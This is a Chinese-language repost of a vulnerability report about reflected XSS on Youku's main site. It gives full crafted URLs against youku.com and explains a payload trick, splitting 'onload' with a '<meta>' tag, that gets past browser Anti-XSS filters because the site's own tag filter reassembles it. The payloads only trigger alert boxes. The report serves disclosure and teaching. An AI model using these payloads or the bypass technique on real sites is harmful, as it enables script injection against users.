网站地图    收藏   

主页 > 后端 > 网站安全 >

优酷网主站反射型XSS(所绕过antixss所有浏览器通

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 优酷网主站反射型XSS漏洞不恰当的过滤规则导致浏览器Anti-XSS功能被绕过看电影看的太卡了,实在受不了就去在线反馈去了,反馈完了又手痒试了试,结果还真有XSS。你们的过滤规则大概...

不恰当的过滤规则导致浏览器Anti-XSS功能被绕过

看电影看的太卡了,实在受不了就去在线反馈去了,反馈完了又手痒试了试,结果还真有XSS。

 

你们的过滤规则大概是这样:

 

如果出现Anchor标签以外的标签就直接将它移除。不过这个移除还有一个大前提就是你们只移除闭合的标签,如果我的URL是这样:

 

http://www.youku.com/service/feed/subtype/2/?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%27%22%3E%3Ca%3E?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%27%3E%3Csvg/onload=alert%28document.domain%29%2b%27

 


最后插进去就会变成:

 

<input type='hidden' name='videoTitle' value=''><svg/onload=alert(document.domain) '' />

 


不过这个只在Firefox下有效。因为IE和Chrome都有自己的Anti-XSS功能。这里就可以借助你们的过滤器来绕过了。我们构造这样的URL:

 

http://www.youku.com/service/feed/subtype/2/?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%27%22%3E%3Ca%3E?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%27%3E%3Cstyle/onl%3Cmeta%3Eoad=alert%28/z7y/%29%2b%27

 


从上面的URL当中可以看到我的payload是:

 

'><style/onl<meta>oad=alert(/z7y/)%2b'

 

其中'>的部分用来闭合前面的标签。后面的部分由于会触发过滤器规则,所以选择不去闭合它。最关键的中间的部分。对于Anti-XSS来说'><style/onl<meta>oad=alert(/z7y/)%2b'是无害的,因为这里并没有出现预期的onload。但最后输出时,由于你们的过滤器会过滤所有非Anchor的闭合标签,最终导致这个XSS通杀。

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论